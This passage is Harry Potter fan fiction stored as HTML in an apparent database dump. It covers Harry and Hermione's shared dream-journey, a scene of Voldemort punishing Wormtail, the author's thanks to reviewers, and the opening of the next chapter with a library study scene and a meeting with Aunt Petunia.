sudden?</i>\n\n</p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> &#8220;You\'ve got to be kidding me!&#8221; </p>\n\n<p>\n\n</p><p> &#8220;No really, that\'s what happened. He doesn\'t know his dad\'s a Deatheater.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Oh come on Harry, how do you know he didn\'t know you were there? It\'s probably just some stupid trick. Malfoy\'s been way too happy about You-Know-Who\'s return, to suddenly turn into a boy scout.&#8221; </p>\n\n<p>\n\n</p><p> Harry had been whispering to Hermione about the `Draco thing\' for a few minutes now, and was wondering why he hadn\'t thought of that. Granted it would mean that Draco Malfoy was a very brilliant actor with a great line in monologues, but still, the idea that the Slytherin night not be all that bad, had struck a chord in him. Maybe some people could be `brought back from the edge\' as it were. That was a far more comforting thought, than `dealing\' with the people who\'d gone over it. </p>\n\n<p>\n\n</p><p> Hermione was probably right. It was probably some new master-minded plot to get someone close to Harry, to get him to do something stupid, say like take a swim in the Great Lake without a wand. Harry would never be stupid enough to do something like that &#8230; </p>\n\n<p>\n\n</p><p> Dumbledore and the others returned to the circle of chairs, cups of tea in hand, and sat down. </p>\n\n<p>\n\n</p><p> &#8220;Now remember Harry, try to think only of finding the connection that exists between you and Miss Granger. If it helps, think of it as a pathway with a meeting place for your minds.&#8221; </p>\n\n<p>\n\n</p><p> Harry nodded. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Hermione wasn\'t sure how long her eyes had been closed, she didn\'t even remember closing them. The last thing she remembered was almost being blinded by the bright light that had come from the Staff of Gaia as Harry had called it to him. And then there was darkness. </p>\n\n<p>\n\n</p><p> Perhaps it was the sound of footsteps on a gravel pathway that called her away from the darkness and made her open her eyes. Maybe it was the sound of birdsong. </p>\n\n<p>\n\n</p><p> She appeared to be in a forest of some sort. The trees were too thick for her to see anything beyond the ones that lined the yellow-gravelled pathway on which she stood. A slight breeze ruffled her hair, setting a little chill over her skin. She turned around; to see a rather out-of-place white panelled doorway was behind her on the path. In two-inch high black letters, the word `EXIT\' was spelt out. Apparently she was supposed to go the other way, towards the sounds of footfalls upon a gravel path, She turned back and began walking. </p>\n\n<p>\n\n</p><p> A little while had passed before she came into sight of a crossing. An apparent breaking spot; within the thick covering of trees. The closer she got, she could see that the pathway carried on in front of her as far as she could see. But there would also be a choice of left or right soon. It was a crossroads. </p>\n\n<p>\n\n</p><p> She had almost reached the crossroads. Dense forest still lined either side. The left and right pathways themselves were still clear but the trees were twisted onto it. These appeared to curve even she could see this from her distance away from them. </p>\n\n<p>\n\n</p><p> Everything seemed a little hazy, and blocks of shimmering pale pink would occasionally pass her, distorting the image beneath it\'s transparency. But a few times, Hermione thought she could see something darker, an image moving within the pale pink light. </p>\n\n<p>\n\n</p><p> She heard the sound of footsteps again, and hastened her own. </p>\n\n<p>\n\n</p><p> Hermione was still about twenty yards away when she saw Harry coming quickly from the path on her right-hand side. She called to him. But he did not seem to hear, and carried on straight ahead, moving quickly over the crossroads onto the pathway on her left. She called to him again, and broke into a jog to reach the crossroads. Looking to her left to the path that Harry took, she could see that it was darker, the path twisted, and the trees seemed much denser. She saw Harry\'s darkly coloured hair rounding the corner, and she jogged lightly to catch up. She called his name again. Still no answer. </p>\n\n<p>\n\n</p><p> She rounded the corner; she saw that the pathway continued on straight for a little while, before curving again sharply to the left this time. Harry was about to go around that corner too. She shouted a little louder this time, but still got no response. She felt a little panic rising within her, but squashed it back down. She continued on, but it happened again, and again. And then again. Every time she felt that she was about to reach Harry, even when she was flat-out running. He always seemed to be rounding the next corner, just as Hermione passed the last. </p>\n\n<p>\n\n</p><p> Another wave of transparent pink light passed her again on her left, but it moved closer to her this time, and for a fleeting moment, she saw something terrifyingly dark move towards her quickly, a sharp axe-like weapon raised above its head, ready to strike with every intent of ending her life. And then the mist moved onwards through the trees. Her heart hammered within her chest, and then she realised that her arms were raised above her head, her hands curved in on themselves as though they were gripping something. It took her another moment to realise that she had assumed some form of fighting stance; one leg was further behind than the other, with more weight resting on it. As scared as she was, she knew that a part of her felt the whole thing familiar, as though she had been in the exact same position before, only had been very capable of defending herself. But beyond the odd magical curse, Hermione knew nothing about defence, certainly nothing were weapons were involved. </p>\n\n<p>\n\n</p><p> Her hearts frantic beating finally began to calm. She\'d try to figure out what had just happened later, right now she wanted to find Harry. She walked instead of ran. More waves of pink light began to pass her, but none contained any images that terrified her so. She could hear birdsong once again. And then &#8230; voices? </p>\n\n<p>\n\n</p><p> Another three corners passed. She walked towards the sound. It was distinctly one male and one female. She could tell it was Harry, despite the fact that it was distant enough for the words to be muffled. </p>\n\n<p>\n\n</p><p> But the other. The other voice, the female, was soft and low, so low that at times it almost seemed to echo. Though at times Hermione thought she could hear the echo before the words that would cause it. </p>\n\n<p>\n\n</p><p> He rounded yet another corner, pushing a straying branch out of her way. And then came to a dead stop. Once the leaves had cleared her vision, she could see Harry. And he was talking to the most beautiful woman she had ever seen. The forest here was barely visible beneath the shimmering pink blocks of light that were converging around the talking pair. There was also a more orange, yellow light, which cast a warm glow on the surroundings, from an unknown source. </p>\n\n<p>\n\n</p><p> The woman was wearing a long elegant dress of white, edged with palest gold, that seemed to shine with a sunlight all of its own, almost as much as her own creamy perfect skin did. Sunlight lit up and highlighted yards of long golden blond hair, that hung loosely in waves in curls down her back and far past it. The front parts of her hair were swept gracefully away from her face, and held behind her ears with small pearl encrusted slides. But her ears, they were &#8230; shell-shaped. They were distinctly but delicately pointed, with three ridges set within them, just like the bumps you would find on any shell. </p>\n\n<p>\n\n</p><p> And then Hermione realised. The unknown source of light, it was her, the beautiful woman. </p>\n\n<p>\n\n</p><p> Harry seemed &#8230; different in this woman\'s presence to the boy she knew. The way he held himself, tall, straight-backed and proud, he faced the woman and held his head up to look straight into the taller woman\'s eyes. He did not avert his gaze, or appear shy or flustered. </p>\n\n<p>\n\n</p><p> The way in which Harry held himself in this place, reminded her of Grand Judge Ravencast. He didn\'t seem to be a fifteen-year old boy anymore, but a powerful young man. </p>\n\n<p>\n\n</p><p> Harry\'s head turned slightly as he noticed Hermione\'s awed gaze. He said something to the woman, who turned to look at the young witch. A pair of startlingly blue, intently soulful eyes gazed into Hermione\'s own. Hermione shivered slightly, as she felt something very powerful, and very old look within her. </p>\n\n<p>\n\n</p><p> The woman smiled, and Hermione suddenly felt warm, like she was being held tightly within her mother\'s arms. </p>\n\n<p>\n\n</p><p> Slowly she moved forward, until she was standing but a metre away. Then Harry and the woman began talking again. </p>\n\n<p>\n\n</p><p> But Hermione couldn\'t understand a word that was said. It was as if she was listening through a closed door, the voices still muffled, and soft echoes could be heard within the small clearing. The woman smiled, and a gentle humming sound came from her lightly parted lips. She was laughing, at something Harry had said. </p>\n\n<p>\n\n</p><p> The woman\'s piercing gaze once again turned on her, and she walked forward, in one quick elegant movement, her dress shifting in such a way as to make it appear as if she were floating. Hermione was aware of the woman\'s hand reaching up to touch her face. She was surprised at how cool it was, when everything else about this woman radiated warmth. But it was not an unpleasant sensation, rather like a cool, damp cloth being placed upon the head of someone suffering a fever. </p>\n\n<p>\n\n</p><p> She leaned forward, and Hermione felt herself captured in the taller woman\'s gaze. And then the woman spoke to her, though the voice still echoed, as though the sound had to catch up, this time Hermione could hear it. </p>\n\n<p>\n\n</p><p> &#8220;Coi liya moin ne-ho men icthala, coi-ne thulway na toulanee. Vou lanee myan.&#8221; </p>\n\n<p>\n\n</p><p> Hermione felt an almost overwhelming sense of comfort and peace at whatever had been said. The feeling she had when the woman spoke, meant that though she had no idea what was being spoken, understanding was gained. She nodded her head slightly. </p>\n\n<p>\n\n</p><p> The woman turned back to Harry, saying something so quietly that she had no chance of hearing anything other than the soft hum of voices. Harry understood this language? </p>\n\n<p>\n\n</p><p> A snorting sound caught Hermione\'s attention, and she saw a pure white horse, a mare, walking slowly up the pathway behind Harry and the woman. The horse bore no saddle, but a square of pale blue fabric was draped across it\'s back. Delicately patterned sliver reins adorned her. A few small braids ran through the length of her mane of silver-white hair. </p>\n\n<p>\n\n</p><p> The mare walked through one of the pink translucent blocks of light, causing it to ripple, flickering her tail in annoyance at a dark image moving within it. </p>\n\n<p>\n\n</p><p> The woman with pointed ears moved over to the horse, and held her hand over the horses face, as if to stroke it, but without touching it. The mare neighed happily, bending down on her front legs, allowing the woman to seat herself upon the mares back in one graceful move. Once upon it, the horse righted itself, and moved slightly forwards, towards Hermione. </p>\n\n<p>\n\n</p><p> The woman tilted her head forward in an almost imperceptible bow. Hermione did so as well, noticing that Harry did likewise from his place beside her. Hermione was a little surprised; she hadn\'t heard him approach. </p>\n\n<p>\n\n</p><p> &#8220;Vaelayatoo elbereset coi-ne foultar, ithoular.&#8221; </p>\n\n<p>\n\n</p><p> Hermione watched as the horse and its rider passed through a rippling block of pink light, disappearing before they\'d reached the pathway on the other side. She blinked, and found herself back at the crossroads with Harry. </p>\n\n<p>\n\n</p><p> &#8220;What did that mean anyway?&#8221; she asked, frustrated and confused by everything that had just happened. </p>\n\n<p>\n\n</p><p> &#8220;It\'s like hello or goodbye, only it\'s nicer.&#8221; Harry muttered. </p>\n\n<p>\n\n</p><p> Hermione looked at him, curious. He shrugged his shoulders; suddenly appearing very much the fifteen-year old boy that he was. </p>\n\n<p>\n\n</p><p> &#8220;Roughly translated it means `May the Stars Light your Path, Always.\'&#8221; </p>\n\n<p>\n\n</p><p> &#8220;How did you know that? Who was that? And how did we get back here, and where the hell are we anyway?&#8221; she looked around briefly. </p>\n\n<p>\n\n</p><p> &#8220;And who the hell\'s mind is this anyway?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Probably mine.&#8221; </p>\n\n<p>\n\n</p><p> Harry walked to the centre of the crossroads, looking down the one pathway from which no one had come. He shivered, it was cold down there, and dark, as if all the light that shone down on them, was being absorbed by the darkness on this pathway. Nothing could be seen past the first three dark evergreen trees that lined either side of the pathway. After that it was just inky blackness. And an occasional shimmer of the pink lights, but here all of them had something dark moving within them. </p>\n\n<p>\n\n</p><p> Harry needed no second guesses as to who was connected to him by this pathway to his mind. He wished only that he could knock a couple of trees down to block it. But somehow, he guessed that this probably wouldn\'t work. </p>\n\n<p>\n\n</p><p> &#8220;What\'s down there?&#8221; Hermione asked, though she was afraid she already knew the answer. </p>\n\n<p>\n\n</p><p> &#8220;Nothing that we want to know about today `mione.&#8221; </p>\n\n<p>\n\n</p><p> Harry turned around and took her right hand, and walked to the centre of the crossroads again. </p>\n\n<p>\n\n</p><p> Hermione felt a slight buzz in her stomach; nobody had ever called her that before, she thought she rather liked it. </p>\n\n<p>\n\n</p><p> Harry had noticed how soft and cool the palm of Hermione\'s hand was, it seemed so small. There was a slightly raised, hardened bump on the left side of her index finger. An adorable quirk. There because of the vast amount of time that finger spent with a quill rested upon it. </p>\n\n<p>\n\n</p><p> &#8220;Let\'s get back, I think that we know that it works now.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;But how do we&#8230;&#8221; </p>\n\n<p>\n\n</p><p> Hermione didn\'t finish, because at that moment, another block of pink light, which reached from the gravelled floor to almost two feet above their heads, and almost as wide, had moved quickly towards them. The darkness in the underlying image cleared, to the point at which it seemed they were looking through a window. A dark and storm-filled night could be seen. Rain hammered down, relentless. More of the same, shadow-like creatures moved swiftly through the darkness, with men covered in black war paints at their side. All carried axes or deadly curved swords, heavy looking, and covered thickly with dark rich human blood. Fires burned behind them, men were fighting men, fighting shadowed creatures. Some were struck down in a hail of dark arrows. Some shadowed creatures fell to the thick broadswords of valiant men in armour, all around the cries of war could be heard. </p>\n\n<p>\n\n</p><p> Before them, many men, one with a noticeable tuft of red hair poking out from under his bronzed helmet, rushed forward to greet them. With the sounding clash of metal on metal ringing in their ears. In a few moments, Hermione saw more blood spilt than she had in her entire life. Red blood. Green blood. Black blood. All were spilt in but a few moments. She felt an anger that was by nature, alien to her, something that burned within her, she felt herself moving forward. Her hands moved to her sides, making a motion as drawing something from them, the invisible objects in her hands, running at full tilt towards the image, she let out a scream, a war-cry. And then &#8230; </p>\n\n<p>\n\n</p><p> &#8220;Stop!&#8221; </p>\n\n<p>\n\n</p><p> A dizzing sensation of moving from one place another with rapid speed, made everything spin for Hermione. Steadying hands held her to her chair, a voice asking her repeatedly, with an increasing tone of worry, if she was all right. She attempted to move her head to nod, only to make herself feel much worse, she might have retched but she couldn\'t be sure. And then finally she opened her eyes. Faced with the pale brown, kind eyes of Remus Lupin, concern evident within them. </p>\n\n<p>\n\n</p><p> &#8220;Hermione are you alright?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I\'m not &#8230; sure. I feel a little &#8230; off?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;You\'ll be alright. Here have some of this.&#8221; </p>\n\n<p>\n\n</p><p> Lupin pushed a glass of water towards her, steadying her trembling hands upon it, allowing her to take a sip. She looked down at his robes. </p>\n\n<p>\n\n</p><p> &#8220;Sorry about that.&#8221; </p>\n\n<p>\n\n</p><p> Remus followed her gaze. </p>\n\n<p>\n\n</p><p> &#8220;Don\'t be, I can get them cleaned.&#8221; He said, a slight smile tugging at his lips. </p>\n\n<p>\n\n</p><p> She looked beyond the lupine professor. Harry wasn\'t doing as well. He\'d crumpled from his chair, sheen of sweat on his brow, panting in exertion. His shivering body, was leant back onto his godfather, who held him tightly I his arms, almost possessively. </p>\n\n<p>\n\n</p><p> Lupin saw where her gaze fell. </p>\n\n<p>\n\n</p><p> &#8220;Don\'t worry Hermione, it could be worse.&#8221; </p>\n\n<p>\n\n</p><p> She cocked her eyebrows in question. </p>\n\n<p>\n\n</p><p> &#8220;Well he could be unconscious.&#8221; </p>\n\n<p>\n\n</p><p> Hermione grimaced. </p>\n\n<p>\n\n</p><p> &#8220;Great.&#8221; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> &#8220;Crucio!&#8221; </p>\n\n<p>\n\n</p><p> Muffled screams reverberated off the stone walls. A few Deatheaters gathered nearby snickered, as one of their own felt the wrath of the Dark Lord. </p>\n\n<p>\n\n</p><p> &#8220;When I ask a question, I expect an answer, Wormtail.&#8221; </p>\n\n<p>\n\n</p><p> The Dark Lord pulled his wand back, Peter Pettigrew had a brief respite. </p>\n\n<p>\n\n</p><p> &#8220;Y&#8230;y&#8230;yes my Lord. Forgive my foolishness.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Wormtail, you are permanently foolish, just sometimes more than others.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Y&#8230;yes My Lord.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Now Wormtail, is everything ready?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;N&#8230;no, my&#8230; my Lord.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Crucio!&#8221; </p>\n\n<p>\n\n</p><p> More screams were heard, though such a thing was not unusual within these walls. The Dark Lord lazily flicked his wand upwards, ending the curse a few minutes later. </p>\n\n<p>\n\n</p><p> &#8220;Now Wormtail. Since you seem to be so incapable of getting Mr Potter a `gift\', then I will send Crabbe and Goyle with you.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;My Lord I\'m sure I can do&#8230;&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Quiet Wormtail! You test my patience as it is!&#8221; </p>\n\n<p>\n\n</p><p> &#8220;My Lord, perhaps, I may be of some assistance.&#8221; Severus Snape interjected. </p>\n\n<p>\n\n</p><p> For anyone who could see within the Dark Lords hooded features at that moment, as those features turned into the abomination of a smile, they would have been chilled to their core. </p>\n\n<p>\n\n</p><p> &#8220;No Severus. There are things that I would &#8230; discuss with you today.&#8221; </p>\n\n<p>\n\n</p><p> A shimmering cage of dark green magic appeared around the traitor Deatheater. Snape removed his hood, what point was there in hiding behind it now? </p>\n\n<p>\n\n</p><p> &#8220;I will not let you do this to them.&#8221; His voice came out as a soft growl. </p>\n\n<p>\n\n</p><p> &#8220;Ah Severus, I do not think that you will be capable of doing anything for quite some time.&#8221; </p>\n\n<p>\n\n</p><p> The Dark Lord returned his attention back to the Deatheater who still grovelled at his feet. </p>\n\n<p>\n\n</p><p> &#8220;Get up Wormtail! Now go and prove your loyalty. I want this `gift\' by the end of the week, it has to be sent before the end of the school year. It will be a wonderful note to end it on.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Yes, my Lord.&#8221; Pettigrew pulled himself off the ground, and then was bodily forced towards the door by the hulking masses of Crabbe and Goyle. Just as they were about to leave, the cold and terrible voice sounded again. </p>\n\n<p>\n\n</p><p> &#8220;Oh and Wormtail?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Yes My Lord?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;It doesn\'t have to be in piece when it gets here. Make sure that it screams for me.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>~o0o~</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Buh-buh-bud-du!!!! Coffee, coffeee, cofffffeeeeeeeee! Ahem, I think that\'s enough product-placement advertising from me.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Thank You TO:</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Legacy</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Shura</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Psychochick</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Nicky- Azkzban? Your giving me ideas you know!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>()</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>duckies</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>BoOKWoRm</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Sky Chief- Dudley- Psychological Motivation? Now there\'s a scary thought.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Ponokyunin</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Lei Dumbledore</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Shadow</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Moshimoshi-erm, I\'d rather you didn\'t hit me thanks.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Sygirl:VALOR- if yer confused about the story, just email your questions and I\'ll try to answer them. Without giving the plot away of course!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Coconut-ice agent h/h</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Makulit- Now that would be telling.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Videl86- Reek terror on Vernon? Where\'s the queue?</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Charlie Girl</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>VderDWP</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Peter</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>LittLetRiXta- a poem, all for me? I feel all inspired!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Megaman50k</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Arianne</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>teazer- apologies about your eyesight.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Moridia Shadar</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Heaven-Great name!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Arizosa</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Smallville-Chickie</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Phoenix flight</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Unknown(even to me - okay yer a bit weird, but you reviewed so who cares?</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>ninerings- undying love? Ick! Their 15, it would be a bit much wouldn\'t it?</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Star-Crystal- Kill you, tad drastic I think.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>ronin721- Awe *blushes*</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Harry #1</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Madam X</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Meg- Vernon win the trial? It could happen.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Fairymagic689</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Elenor Rigsby- ah ha! But I\'m not in Ravenclaw, or Hufflepuff! Makes you wonder which of the other two I\'m in doesn\'t it?</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Dauphin- Death, once again I say a tad drastic</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>K- euch! Your making me dizzy!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Jellybean- Please don\'t hurt me!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Well if you feel like it, a review would be nice, but no worries. Have a nice day!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i></i>\n\n</p>\n\n<address>\n\n\n\n\n\n\n</address> --&gt; '),
	(6, 5, ' <font face="Courier New" size="2"><p>Authors note: Yepiee, you made it this far, pat yourself on the back and tuck into you&#8216;re next mug of rocket fuel coffee.</p>\n\n<p> If the next chapter turn&#8216;s up late, kindly send all hate mail to my place of work for causing the repetitive strain in my arm that prevents me from doing much in the way of typing at home from time to time.</p>\n\n<p> I&#8216;m nicking off with Ms.Rowling&#8216;s characters for a little while, I don&#8216;t own them and never will. I promise to return them more or less intact.</p>\n\n<p> And now on with the tale...</p>\n\n<p></p>\n\n<p>Harry Potter and the Trial of Memories-Part 3</p>\n\n<p></p>\n\n<p>It was strange. That sickly buzzing feeling in the pit of his stomach. It was at once unpleasant and oddly familiar, a little like butterflies in your tummy before a school exam. </p>\n\n<p>But this was far more unpleasant. It was a warning, or a reminder, whichever way you look at it; that something was coming, and it wasn\'t a good thing. He didn\'t feel sick with it, just very much aware. And he didn\'t like it.</p>\n\n<p>Harry Potter didn\'t like it at all.</p>\n\n<p></p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>&quot;Harry?&quot;</p>\n\n<p>&quot;Hunh?&quot;</p>\n\n<p>&quot;Harry?&quot;</p>\n\n<p>&quot;Hunh?&quot;</p>\n\n<p>&quot;Do you understand question six?&quot; Ron asked anxiously.</p>\n\n<p>&quot;Huh, well that can\'t be good.&quot; Harry muttered to himself.</p>\n\n<p>&quot;What can\'t be?&quot;</p>\n\n<p>&quot;If you\'re stuck on question six, when I haven\'t made it passed question four yet.&quot;</p>\n\n<p>&quot;I wouldn\'t worry about that, I skipped two questions already.&quot; </p>\n\n<p>Ron jammed the palms of his hands against his closed eyes.</p>\n\n<p>&quot;Oh this is useless!&quot;</p>\n\n<p>Ron leant back on his chair, the wooden legs groaned in protest, Madam Pincer, the school librarian looked over with a glare. Ron didn\'t notice, and continued swinging on his chair, periodically twirling his wand in his left hand.</p>\n\n<p>&quot;I think that they should call off the exams this year. Call it an act of compassion in a time of stress. Not that I\'m complaining about exams, but how are we supposed to concentrate with You-Know-Who on the loose, Deatheaters around every corner; knowing that we might just snuff it at any moment. It\'d only be fair really.&quot;</p>\n\n<p>Harry sighed, Ron liked exams even less than Harry did.</p>\n\n<p>&quot;Cancel the exams?&quot; A dry voice replied, making it all to obvious that she did not approve of such talk. It was said in a tone that only somebody with an enviable superiority in the intelligence department could manage, and one to which Ron grunted in exasperation.</p>\n\n<p>&quot;Well at least push them back or something. How am I supposed to study twice as hard as I normally do, for twice the amount of time I normally take, train for Quidditch, and that bleedin\' trial...&quot;</p>\n\n<p>Harry glared at his russet-haired friend.</p>\n\n<p>&quot;Err, sorry about that Harry, no offence intended.&quot;</p>\n\n<p>Harry relaxed his facial muscles into a slight smile.</p>\n\n<p>&quot;None taken.&quot;</p>\n\n<p>&quot;Weelll. If you two are finding it hard to cope, even with two more free lessons a week than anybody else, I suggest you drop Quidditch.&quot;</p>\n\n<p>Jaws dropped in an expression made from equal parts, confusion, shock and utter inability to understand such a concept. Ron recovered himself first.</p>\n\n<p>&quot;Give up...&quot;</p>\n\n<p>&quot;...Quidditch...&quot;</p>\n\n<p>&quot;...must be mad...&quot;</p>\n\n<p>&quot;...brilliant game...&quot;</p>\n\n<p>&quot;...best players...&quot;</p>\n\n<p>&quot;...can\'t be serious...&quot;</p>\n\n<p>&quot;...best thing that ever happened...&quot;</p>\n\n<p>&quot;...only three more games...&quot;</p>\n\n<p>&quot;...pounding Slytherin...&quot;</p>\n\n<p>&quot;...training for co-captains...&quot;</p>\n\n<p>&quot;...pounding Malfoy...&quot;</p>\n\n<p>&quot;...need the House Cup, and besides...&quot;</p>\n\n<p>Both boys looked at each other</p>\n\n<p>&quot;QUIDDITCH IS LIFE!&quot;</p>\n\n<p>They announced rather loudly with matching grins. They drew amused expressions from the other students present, and a disapproving and resounding \'shush\' from Madam Pincer.</p>\n\n<p>Hermione looked up at the sky and muttered something about \'priorities\'.</p>\n\n<p>Ron looked back at the question on his Transfigurations homework, and quite unaccommodatingly, it remained unintelligible. Ron let out a grunt, and hit his head against the table with a \'thud\'. Apparently harder than he was meaning too, because this sound was followed by an \'Ouch\'.</p>\n\n<p>Harry smirked, Hermione had her best \'Why do I put up with this?\' look on her face.</p>\n\n<p>&quot;Will you three please refrain from making anymore noise!&quot;</p>\n\n<p>Hermione shot an apologetic look to the school librarian, before fixing each of the boys with a glare that could melt a cauldron. She bent back to her books, chewed absent-mindedly on the top of her quill, before continuing to write. Harry saw Ron smile slightly, an odd expression on his face; a slight flush appeared in his cheeks, before he too, bent back to attempting to work.</p>\n\n<p>Harry felt something flicker briefly in the pit of his stomach, a strange sort of mixture of sadness and longing. Then he squished it back down, and started to write.</p>\n\n<p>For the next half-an-hour, they worked diligently in complete silence, Harry was rather pleased with his progress, and it occurred to him, as he looked over at Ron\'s now quite full sheet of parchment, that they were not as bad at studying as they frequently made out, as long as they didn\'t distract one another. </p>\n\n<p>&quot;Studying hard I see.&quot; The soothing timbre of Dumbledore\'s voice broke through Harry\'s own musings. </p>\n\n<p>The soft whinnying of Hogwarts school pet came from Ron\'s side of the desk. Snuffles pulled himself up to the level of the desk, using his paws. The hairy dog seemed to look over Ron\'s work, and then a soft snort exited his mouth he was laughing. Ron shot the mangy old mutt a dirty look.</p>\n\n<p>&quot;I\'ve come to see how you\'re doing with your potions homework, as I will be taking over your lessons for a while.&quot;</p>\n\n<p>&quot;You\'ll be teaching potions? Why, where is Professor Snape?&quot; Ron asked, unable to keep some of the excitement out of his voice. </p>\n\n<p>Dumbledore lowered is head, Harry noticed that the old man\'s eyes seemed dull, and when he answered Ron\'s questions his voice was soft and low, it held none of the mischief that was usually present.</p>\n\n<p>&quot;Serverus has ... gone away for a while. A little ... holiday in Siberia. Not sure what possessed him to go there, very inhospitable place. Not very friendly ... and rather hard to reach if we need him, or if he needs us. </p>\n\n<p>Not sure when he\'s coming back ... just thought you ought to know.&quot;</p>\n\n<p>Dumbledore straightened and turned, but not without fixing the group with a knowing gaze.</p>\n\n<p>&quot;Now remember I want only one roll of parchment for your homework, so bullet-pointing your answers is perfectly acceptable. Come along Snuffles.&quot;</p>\n\n<p>Snuffles moved to Harry\'s side of the desk, and Harry tickled the underside of the dog\'s ear, only to be rewarded by Snuffles licking the palm of his hand, leaving a rather unpleasant trail of saliva glistening wetly upon it. </p>\n\n<p>Snuffles padded out of the library after Dumbledore.</p>\n\n<p>&quot;Did you here that about Snape? It\'s Great!&quot;</p>\n\n<p>&quot;No it isn\'t Ron, I mean ... a holiday in Siberia. That won\'t be pleasant will it?&quot;</p>\n\n<p>&quot;Nothing more than the slimy old git deserves.&quot;</p>\n\n<p>Hermione and Ron argued back and forth for a while, weighing up the pro and cons of the Snape issue. But Harry only really thought about one thing, as he wiped his slobber-covered hand on his trousers.</p>\n\n<i></i><p><i>I bet other people don\'t have to pet their godparents</i>. </p>\n\n<p>~o0o~</p>\n\n<p></p>\n\n<p>A few days later ...</p>\n\n<p>&quot;Aunt Petunia?&quot;</p>\n\n<p>Harry walked nervously towards his Aunt, who for once was not in the presence of her minder, the blond-haired female witch.</p>\n\n<p>Harry was tense all over, half-expecting his Aunt to become cold and distant, or angry and shout at her freak of a nephew to go away. What he was not expecting however was for Petunia Dursley to smile back at him, appearing as nervous as he was.</p>\n\n<p>&quot;Hello Harry.&quot;</p>\n\n<p>Almost at once a hundred and one questions flooded his mind, each one crying out for an answer, some concerned, some angry.</p>\n\n<i><p>Are you going to testify?...</p>\n\n<p>What are you going to say?... </p>\n\n<p>Are you alright?...</p>\n\n<p>Where have you been living?...</p>\n\n<p>Have you seen Dudley?...</p>\n\n<p>How could you let all this happen to me?...</p>\n\n<p>Did you ever care for me, in even the smallest way?...</p>\n\n</i><p>But then he felt his throat close up, fear of his Aunts reaction to any one of these questions had placed a clamp about his neck, and was now threatening to squeeze. His gaze fell to the floor instead. Completely unsure as to how to start the conversation, an awkward silence ensued. Until, most unexpectedly, Aunt Petunia broke it.</p>\n\n<p>&quot;How are your studies going Harry?&quot;</p>\n\n<p>Harry looked up, and saw a genuine interest in his Aunts eyes, where before they had always seemingly held contempt.</p>\n\n<p>&quot;Well... Mrs ...Ms Figg... she mentioned that you have exams of some kind this year. The B.U.D.G.I.E\'s or something I think she said...&quot; </p>\n\n<p>&quot;The B.U.D.G.I.E\'s!&quot; Harry let out a small snort of laughter, startling his Aunt, who only relaxed as she saw the grin pass over her nephews face, a small smile gracing her own, the smile softened her normally harsh features, making her appear years younger, and for anyone who was looking, a family connection between the two was finally visible, after fifteen years of denying it.</p>\n\n<p>&quot;You mean the O.W.L\'s, Ordinary Wizarding Level\'s.&quot;</p>\n\n<p>&quot;Oh yes that\'s it. I\'m 